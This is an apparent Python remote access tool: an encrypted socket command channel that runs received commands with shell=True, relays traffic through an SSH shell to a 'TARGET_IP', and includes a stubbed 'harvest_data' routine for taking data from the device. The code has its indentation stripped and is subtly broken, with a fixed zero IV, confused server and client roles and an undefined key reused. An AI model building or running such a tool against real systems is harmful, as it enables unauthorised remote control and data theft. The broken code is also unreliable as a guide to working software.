Remote Access Tool

import socket
import subprocess
import paramiko
import threading
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
def establish_connection(host, port, key):
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(1)
client_socket, _ = server_socket.accept()
shared_key = derive_shared_key(client_socket, key)
return client_socket, shared_key
def derive_shared_key(client_socket, password):
salt = client_socket.recv(16)
kdf = PBKDF2HMAC(
    algorithm = hashes.SHA256(),
    iterations = 100000,
    salt = salt,
    length = 32,
    backend = default_backend()
)
key = kdf.derive(password.encode())
return key
def encrypt(data, key):
cipher = Cipher(algorithms.AES(key), modes.CFB(b'\0' * 16), backend = default_backend())
encryptor = cipher.encryptor()
encrypted_data = encryptor.update(data.encode()) + encryptor.finalize()
return encrypted_data
def decrypt(encrypted_data, key):
cipher = Cipher(algorithms.AES(key), modes.CFB(b'\0' * 16), backend = default_backend())
decryptor = cipher.decryptor()
decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
return decrypted_data.decode()
def send_command(client_socket, command, key):
encrypted_command = encrypt(command, key)
client_socket.send(encrypted_command)
def receive_output(client_socket, key):
encrypted_response = client_socket.recv(4096)
response = decrypt(encrypted_response, key)
return response
def close_connection(client_socket):
client_socket.close()
def execute_command(command):
try:
output = subprocess.check_output(command, shell = True, stderr = subprocess.STDOUT, universal_newlines = True)
except subprocess.CalledProcessError as e:
output = f"Error: {
    e.output
}"
return output
def forward_data(client_socket, remote_socket):
while True:
data = client_socket.recv(4096)
remote_socket.send(data)
response = remote_socket.recv(4096)
client_socket.send(response)
def start_ssh_forwarder(local_host, local_port, remote_host, remote_port, username, password):
forwarder_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
forwarder_socket.bind((local_host, local_port))
forwarder_socket.listen(1)
client_socket, _ = forwarder_socket.accept()
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(remote_host, port = 22, username = username, password = password)
remote_socket = ssh.invoke_shell()
return client_socket, remote_socket
def handle_target_client(client_socket, key):
command = receive_command(client_socket, key)
if command.startswith("advanced_command"):
result = handle_advanced_logic(command)
elif command.startswith("harvest_data"):
result = harvest_device_data()
else :
result = execute_command(command)
send_output(client_socket, result, key)
def handle_advanced_logic(command):
# Implement advanced logic based on the received command
result = "Result of the advanced logic"
return result
def harvest_device_data():
# Implement data harvesting logic
data = "All data harvested from the device"
return data
def receive_command(client_socket, key):
encrypted_command = client_socket.recv(4096)
command = decrypt(encrypted_command, key)
return command
def send_output(client_socket, output, key):
encrypted_output = encrypt(output, key)
client_socket.send(encrypted_output)
if __name__ == '__main__':
password = "your_super_secret_password"
client_socket, shared_key = establish_connection("127.0.0.1", 8000, password)
send_command(client_socket, "COMMAND_TO_SEND", shared_key)
response = receive_output(client_socket, shared_key)
close_connection(client_socket)
client_socket, remote_socket = start_ssh_forwarder("127.0.0.1", 9000, "TARGET_IP", 8000, "your_username", "your_password")
threading.Thread(target = forward_data, args = (client_socket, remote_socket)).start()
client_socket = establish_connection("TARGET_IP", 8000, password)
handle_target_client(client_socket, shared_key)
close_connection(client_socket)